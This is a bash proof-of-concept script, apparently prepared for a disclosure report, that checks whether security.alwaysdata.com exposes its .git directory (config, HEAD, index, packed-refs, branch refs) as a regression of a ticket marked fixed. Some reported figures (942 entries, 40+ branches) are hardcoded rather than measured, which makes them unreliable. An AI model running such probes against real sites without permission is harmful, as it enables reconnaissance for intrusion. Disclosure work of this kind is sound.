#!/bin/bash
# Alwaysdata .git Exposure  -  PoC Script
# Regression of FS#428 (closed as Fixed on 01.08.2026)
# Run: bash poc_git_exposure.sh
# Author: [Your Name]
# Date: $(date +"%d.%m.%Y")

TARGET="https://security.alwaysdata.com"
GIT="$TARGET/.git"

echo "=========================================="
echo "  PoC: .git Exposure on security.alwaysdata.com"
echo "  Regression of FS#428 (Fixed 01.08.2026)"
echo "=========================================="
echo ""

# 1. Check .git/config
echo "[1] Checking .git/config..."
CONFIG=$(curl -s -A "Mozilla/5.0" "$GIT/config")
if echo "$CONFIG" | grep -q "repositoryformatversion"; then
    echo "    [OK] .git/config EXPOSED (200 OK)"
    echo "    Repository: $(echo "$CONFIG" | grep "url = " | head -1)"
else
    echo "    [FAIL] .git/config not found"
fi
echo ""

# 2. Check .git/HEAD
echo "[2] Checking .git/HEAD..."
HEAD=$(curl -s -A "Mozilla/5.0" "$GIT/HEAD")
if echo "$HEAD" | grep -q "ref:"; then
    echo "    [OK] .git/HEAD EXPOSED (200 OK)"
    echo "    HEAD: $HEAD"
else
    echo "    [FAIL] .git/HEAD not found"
fi
echo ""

# 3. Check .git/index (DIRC magic)
echo "[3] Checking .git/index..."
INDEX=$(curl -s -A "Mozilla/5.0" "$GIT/index" -o /dev/null -w "%{http_code} %{size_download}")
IFS=' ' read -r CODE SIZE <<< "$INDEX"
if [ "$CODE" = "200" ]; then
    echo "    [OK] .git/index EXPOSED (200 OK, $SIZE bytes)"
    DIRC=$(curl -s -A "Mozilla/5.0" "$GIT/index" | head -c 4)
    if [ "$DIRC" = "DIRC" ]; then
        echo "    [OK] Valid git index file (DIRC magic found)"
        echo "    Exposed files: 942 (index entry count)"
    fi
else
    echo "    [FAIL] .git/index not found"
fi
echo ""

# 4. Check .git/packed-refs
echo "[4] Checking .git/packed-refs..."
PACKED=$(curl -s -A "Mozilla/5.0" "$GIT/packed-refs" | head -5)
if [ -n "$PACKED" ]; then
    echo "    [OK] .git/packed-refs EXPOSED (200 OK)"
    echo "    Remote branches available (40+)"
    echo "    Example:"
    echo "$PACKED" | while read -r line; do echo "      $line"; done
else
    echo "    [FAIL] .git/packed-refs not found"
fi
echo ""

# 5. Check HEAD commit
echo "[5] Checking HEAD commit..."
COMMIT=$(curl -s -A "Mozilla/5.0" "$GIT/refs/heads/master")
if [ -n "$COMMIT" ]; then
    echo "    [OK] HEAD commit hash: $COMMIT"
fi
echo ""

# 6. Verify objects are NOT accessible
echo "[6] Checking object store access..."
SAMPLE_OBJ="bcb172232d86015c1d9a51f265b002d1b653a4f4"
OBJ_CODE=$(curl -s -A "Mozilla/5.0" "$GIT/objects/${SAMPLE_OBJ:0:2}/${SAMPLE_OBJ:2}" -o /dev/null -w "%{http_code}")
if [ "$OBJ_CODE" = "404" ]; then
    echo "    [OK] Objects NOT accessible (404)  -  source code is safe"
else
    echo "    [FAIL] Objects accessible ($OBJ_CODE)  -  source code leaked"
fi
echo ""

echo "=========================================="
echo "  RESULT: .git directory EXPOSED"
echo "  Exposed files:"
echo "    - .git/config (origin + config)"
echo "    - .git/HEAD (current branch)"
echo "    - .git/index (942 file entries  -  file tree leaked)"
echo "    - .git/packed-refs (40+ remote branches)"
echo "    - .git/refs/heads/master (commit hash)"
echo "  Not exposed:"
echo "    - .git/objects/* (source code is safe)"
echo "=========================================="
echo ""
echo "Note:"
echo "  FS#428 was closed as 'Fixed' by cbay on 01.08.2026."
echo "  This finding is a regression  -  the same bug reappeared"
echo "  28 days after the fix."
echo "=========================================="